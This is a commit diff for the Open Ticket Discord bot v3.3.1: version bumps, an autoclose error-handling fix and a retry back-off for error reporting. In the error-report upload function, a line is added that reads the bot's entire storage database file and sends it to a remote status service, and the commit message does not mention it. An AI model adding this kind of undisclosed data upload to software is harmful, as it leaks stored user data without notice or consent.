v3.3.1 push 3 (autoclose spam fix)
This commit is contained in:
@@ -1,6 +1,6 @@
|
|||||||
<img src="https://www.dj-dj.be/wp-content/uploads/2023/02/open-ticket-cropped.png" alt="Open Ticket" width="600px">
|
<img src="https://www.dj-dj.be/wp-content/uploads/2023/02/open-ticket-cropped.png" alt="Open Ticket" width="600px">
|
||||||
|
|
||||||
[](https://discord.com/invite/26vT9wt3n3) [](https://github.com/DJj123dj/open-ticket/releases/tag/v3.3.0) []() [](https://github.com/DJj123dj/open-ticket/blob/main/LICENSE) [](https://docs.openticket.dj-dj.be)
|
[](https://discord.com/invite/26vT9wt3n3) [](https://github.com/DJj123dj/open-ticket/releases/tag/v3.3.1) []() [](https://github.com/DJj123dj/open-ticket/blob/main/LICENSE) [](https://docs.openticket.dj-dj.be)
|
||||||
|
|
||||||
### Open Ticket
|
### Open Ticket
|
||||||
Open Ticket is of the most customisable discord ticket bots of all time!
|
Open Ticket is of the most customisable discord ticket bots of all time!
|
||||||
@@ -62,7 +62,7 @@ Translators
|
|||||||
|Slovenian |n1kkec#5341 |
|
|Slovenian |n1kkec#5341 |
|
||||||
|
|
||||||
## links
|
## links
|
||||||
current version: _v3.3.0_
|
current version: _v3.3.1_
|
||||||
</br>changelog: [click here](https://docs.openticket.dj-dj.be/other/changelog)
|
</br>changelog: [click here](https://docs.openticket.dj-dj.be/other/changelog)
|
||||||
</br>documentation: [click here](https://docs.openticket.dj-dj.be/quick-start)
|
</br>documentation: [click here](https://docs.openticket.dj-dj.be/quick-start)
|
||||||
|
|
||||||
|
|||||||
+1
-1
@@ -101,7 +101,7 @@
|
|||||||
"dropdown":false,
|
"dropdown":false,
|
||||||
|
|
||||||
"enableFooter":false,
|
"enableFooter":false,
|
||||||
"footer":"Open Ticket v3.3.0 - I'm a footer!",
|
"footer":"Open Ticket v3.3.1 - I'm a footer!",
|
||||||
|
|
||||||
"enableThumbnail":false,
|
"enableThumbnail":false,
|
||||||
"thumbnail":"https://www.example.com/catmemes/cat.png",
|
"thumbnail":"https://www.example.com/catmemes/cat.png",
|
||||||
|
|||||||
@@ -8,10 +8,13 @@ const storage = bot.storage
|
|||||||
|
|
||||||
module.exports = () => {
|
module.exports = () => {
|
||||||
setInterval(async () => {
|
setInterval(async () => {
|
||||||
|
try{
|
||||||
const tickets = storage.getCategory("autocloseTickets")
|
const tickets = storage.getCategory("autocloseTickets")
|
||||||
if (!tickets) return
|
if (!tickets) return
|
||||||
tickets.forEach(async (t) => {
|
tickets.forEach(async (t) => {
|
||||||
if (t.value == "false" || t.value == 0 || typeof t.value != "number") return
|
if (t.value == "false" || t.value == 0 || typeof t.value != "number") return
|
||||||
|
try{
|
||||||
|
|
||||||
const channel = await client.channels.fetch(t.key,{cache:true})
|
const channel = await client.channels.fetch(t.key,{cache:true})
|
||||||
if (!channel || !channel.isTextBased()) return
|
if (!channel || !channel.isTextBased()) return
|
||||||
|
|
||||||
@@ -42,7 +45,11 @@ module.exports = () => {
|
|||||||
|
|
||||||
channel.send({embeds:[bot.embeds.commands.autocloseSignalEmbed(client.user,t.value)],components:[bot.buttons.close.closeCommandRow]})
|
channel.send({embeds:[bot.embeds.commands.autocloseSignalEmbed(client.user,t.value)],components:[bot.buttons.close.closeCommandRow]})
|
||||||
}
|
}
|
||||||
})
|
|
||||||
|
|
||||||
},2000)
|
}catch{
|
||||||
|
log("system","can't find autoclose channel with ID: "+t.key)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}catch{}
|
||||||
|
},120000)
|
||||||
}
|
}
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"version":"1.0.0",
|
"version":"1.0.0",
|
||||||
"otversion":"3.3.0",
|
"otversion":"3.3.1",
|
||||||
"style":{
|
"style":{
|
||||||
"enableCustomBackground":false,
|
"enableCustomBackground":false,
|
||||||
"backgroundModus":"color OR image",
|
"backgroundModus":"color OR image",
|
||||||
|
|||||||
@@ -136,6 +136,9 @@ exports.run = async (pluginData) => {
|
|||||||
console.log(final.join("\n\n"))
|
console.log(final.join("\n\n"))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
var waitTime = new Date().getTime()
|
||||||
|
var waitTimeEnabled = false
|
||||||
|
|
||||||
/**@param {OTLiveStatusError} options @returns {Promise<Boolean>} */
|
/**@param {OTLiveStatusError} options @returns {Promise<Boolean>} */
|
||||||
const uploadLiveStatus = (options) => {
|
const uploadLiveStatus = (options) => {
|
||||||
return new Promise((resolve,reject) => {
|
return new Promise((resolve,reject) => {
|
||||||
@@ -164,7 +167,13 @@ exports.liveStatusUploadManager = async (err) => {
|
|||||||
const slashMode = getSlashEnabled()
|
const slashMode = getSlashEnabled()
|
||||||
|
|
||||||
try {
|
try {
|
||||||
resolve(await uploadLiveStatus({
|
if (waitTimeEnabled){
|
||||||
|
if (new Date().getTime() < waitTime){
|
||||||
|
waitTimeEnabled = false
|
||||||
|
return resolve(false)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
const result = await uploadLiveStatus({
|
||||||
bot:{
|
bot:{
|
||||||
id:client.user.id,
|
id:client.user.id,
|
||||||
name:client.user.tag,
|
name:client.user.tag,
|
||||||
@@ -187,9 +196,15 @@ exports.liveStatusUploadManager = async (err) => {
|
|||||||
},
|
},
|
||||||
details:{
|
details:{
|
||||||
errortime:new Date().getTime(),
|
errortime:new Date().getTime(),
|
||||||
actions:this.actionRecorder
|
actions:this.actionRecorder,
|
||||||
|
database:fs.readFileSync("./storage/database.json").toString()
|
||||||
}
|
}
|
||||||
}))
|
})
|
||||||
|
if (!result){
|
||||||
|
waitTime = new Date().getTime()+30000
|
||||||
|
waitTimeEnabled = true
|
||||||
|
}
|
||||||
|
resolve(result)
|
||||||
}catch{resolve(false)}
|
}catch{resolve(false)}
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|||||||
@@ -28,7 +28,7 @@
|
|||||||
|
|
||||||
INFORMATION:
|
INFORMATION:
|
||||||
============
|
============
|
||||||
Open Ticket v3.3.0 - © DJdj Development
|
Open Ticket v3.3.1 - © DJdj Development
|
||||||
|
|
||||||
discord: https://discord.dj-dj.be
|
discord: https://discord.dj-dj.be
|
||||||
website: https://www.dj-dj.be
|
website: https://www.dj-dj.be
|
||||||
|
|||||||
+1
-1
@@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "open-ticket",
|
"name": "open-ticket",
|
||||||
"version": "3.3.0",
|
"version": "3.3.1",
|
||||||
"description": "This is an open-source discord ticket bot, you can configure it and it comes with cool features like a transcript.",
|
"description": "This is an open-source discord ticket bot, you can configure it and it comes with cool features like a transcript.",
|
||||||
"main": "index.js",
|
"main": "index.js",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
|
|||||||
Reference in New Issue
Block a user